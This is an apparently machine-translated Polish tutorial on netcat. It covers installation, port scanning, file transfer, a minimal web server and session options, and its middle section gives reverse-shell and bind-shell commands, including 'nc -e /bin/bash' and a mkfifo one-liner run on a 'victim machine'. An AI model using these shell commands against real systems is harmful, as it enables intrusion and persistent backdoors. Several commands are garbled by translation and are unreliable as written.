Dostępne są dwa podobne pakiety dla NetCat z niewielką różnicą między nimi.
Netcat-tradycyjne Zawiera dodatkową opcję „-e”, której można użyć do powiązania programu (i.e bash) z netcat. Ta funkcja jest bardzo przydatna do celów zdalnych.
Netcat-Openbsd mieć dodatkową obsługę IPv6 i proxy.
Instalacja Netcat
Chociaż NetCat jest wstępnie zainstalowany w większości dystrybucji Linux, ale jeśli nie, można go łatwo zainstalować za pomocą następujących poleceń.
Dla tradycyjnego pakietu,
Ubuntu@ubuntu: ~ $ sudo apt-get instaluj netcat-tradycyjny
Dla wersji OpenBSD,
Ubuntu@ubuntu: ~ $ sudo apt-get instaluj netcat-openbsd
Netcat dla systemu Windows można pobrać stąd https: // sourceforge.Net/Projects/NC110/Files/.
Teraz zbadamy ciekawe przypadki użycia NETCAT
Skanowanie portów za pomocą Netcat
Aby skanować w poszukiwaniu otwartych portów, użyj opcji „-z”. Netcat będzie próbował połączyć się z każdym portem bez wysyłania danych lub bardzo ograniczonych danych w przypadku UDP. Wpisz następujące
Ubuntu@ubuntu: ~ $ nc -z -v hackme.Org 80
… Snip…
Hackme.org [217.78.1.155] 80 (HTTP) otwarte
Skanować w poszukiwaniu zakresu portów, typ
Ubuntu@ubuntu: ~ $ nc -z -nv 192.168.100.72 20-80
(Nieznane) [192.168.100.72] 80 (HTTP) otwarte
(Nieznane) [192.168.100.72] 22 (ssh) otwarte
Transfer pliku z NetCat
Innym przydatnym przypadkiem użycia NETCAT jest przesyłanie plików między komputerami zdalnymi. Możesz wysyłać SMS -y i pliki binarne z jednego komputera na inny komputer. Postaramy się wysłać plik „Plik.PDF ”od komputera Linux do Windows PC [IP 192.168.100.72] Używanie netcat jako przykładu.
Na komputerze Windows (odbiornik) wpisz następujące
C: \ Użytkownicy> NC -NVLP 1337> Plik.PDF
Słuchanie na [0.0.0.0] (Family 2, port 1337)
Na komputerze Linux (nadawca) wpisz następujące
Ubuntu@ubuntu: ~ $ nc -nv 192.168.100.72 1337 < file.pdf
Połączenie z 192.168.100.72 1337 Port [TCP/*]!
Zdalna administracja z Netcat
Jednym z najlepszych przypadków użycia NETCAT jest zdalna administracja, co oznacza, że możesz kontrolować czyny komputer za pomocą Netcat. Netcat-Tradytional jest wyposażony w opcję „-e”, której można użyć do powiązania programu (i.e cmd.exe w systemie Windows lub Bash in Linux) z portem, co oznacza, że Netcat będzie działał jako komunikator między programem a zdalnym komputerem. NetCat odbiera polecenia z zdalnego komputera, wykonać w systemie lokalnym i odśle wyniki z powrotem do zdalnego komputera. Ta funkcja jest szeroko stosowana do złośliwych celów, aby utrzymać backdoors na komputerach i serwerach. Ta funkcja jest dostępna tylko w netcat-tradycyjnej, ale przy odrobinie sztuczki, netcat-openbsd może być również używany do tego samego celu. Możesz użyć dwóch sposobów kontrolowania komputera innych.
W Odwrotna powłoka Połączenie, atakujący słucha w porcie i czeka na wysłanie połączenia z maszyny ofiary. Jest używany, gdy komputer ofiary jest za NAT lub nie ma publicznego adresu IP.
Aby uzyskać odwrotną powłokę za pomocą NetCat, musisz słuchać w porcie za pomocą Netcat. Wpisz następujące na maszynie atakującego,
Ubuntu@ubuntu: ~ $ nc -nvlp 1337
Słuchanie na [0.0.0.0] (Family 2, port 1337)
Na maszynie ofiary (jeśli Netcat-tradycyjne jest zainstalowane)
// Wymień „/bin/bash” na „cmd.exe ”w przypadku systemu Windows
Ubuntu@ubuntu: ~ $ nc -nv [ip_addr] 1337 -e /bin /bash
Dla Netcat-Openbsd (gdzie opcja „-e” nie jest obsługiwana)
Ubuntu@ubuntu: ~ $ rm /tmp /f; mkfifo /tmp /f; cat
/tmp/f |/bin/sh -i 2> i 1 | nc [ip_addr] 1337>/tmp/f
Podczas gdy Powiązanie powiązań Połączenie, atakujący wiąże port na komputerze ofiary i łączy się z tym portem za pomocą gniazda klienta. Jest używany, gdy maszyna atakującego jest za NAT lub nie ma publicznego adresu IP.
Na maszynie ofiary, typ
Ubuntu@ubuntu: ~ $ nc -nlvp 1337 -e /bin /bash
Słuchanie na [dowolnym] 1337…
Teraz, aby uruchomić polecenia na maszynie ofiary, wpisz
Ubuntu@ubuntu: ~ $ nc -nv 127.0.0.1 1337
Połączenie z 127.0.0.1 1337 Port [TCP/*]!
$ id
UID = 1000 (AZAD) GID = 1000 (AZAD) Grupy = 1000 (AZAD), 4 (ADM), 24 (CDROM), 27 (sudo),
30 (Dip), 46 (Plugdev), 118 (LPADMIN), 129 (Sambashare)
Prosty serwer WWW za pomocą Netcat
Możesz także zrobić kolejną prostą sztuczkę, aby użyć Netcat jako minimalnego serwera internetowego jednorazowego. Ten serwer WWW byłby bardzo prosty bez specjalnych konfiguracji i użyjemy do niego wyślemy nasz kod HTML do przeglądarki.
Ubuntu@ubuntu: ~ $ choć true; do echo -e "http/1.1 200 OK \ n \ n $ (echo "")" | NC -NVLP 1337; zrobione
Mój prosty serwer Webserver za pomocą Netcat
Słuchanie na [0.0.0.0] (Family 2, port 1337)
Teraz spróbuj pobrać stronę za pomocą Curl
Ubuntu@ubuntu: ~ $ curl http: // 127.0.0.1: 1337/Mój prosty serwer Webserver za pomocą Netcat
Określ limit czasu na sesję NetCat
Możesz określić limit czasu dla sesji netcat za pomocą opcji „-w”. Netcat automatycznie odłączy swoją sesję po ustaleniu określonego czasu.
// -w [czas w sekundach]
Ubuntu@ubuntu: ~ $ nc -w 40 -nvlp 1337
Słuchanie na [0.0.0.0] (Family 2, port 1234)
Kontynuuj słuchanie, nawet jeśli klient zamyka połączenie
W trybie normalnym serwer NetCat wyłącza się i przestaje słuchać portu, gdy klient zamyka połączenie. Możesz utrzymać serwer za pomocą opcji „-K”
Ubuntu@ubuntu: ~ $ nc -k -nlvp 1234
Słuchanie na [0.0.0.0] (Family 2, port 1234)
Netcat jest prostym, ale wydajnym narzędziem, który może być używany do wielu prostych codziennych zadań. Jest wstępnie zainstalowany w prawie każdym systemie unix, takich jak systemy operacyjne i może być używany do różnych zadań, takich jak komunikacja między dwoma komputerami, przesyłanie plików i wiele innych.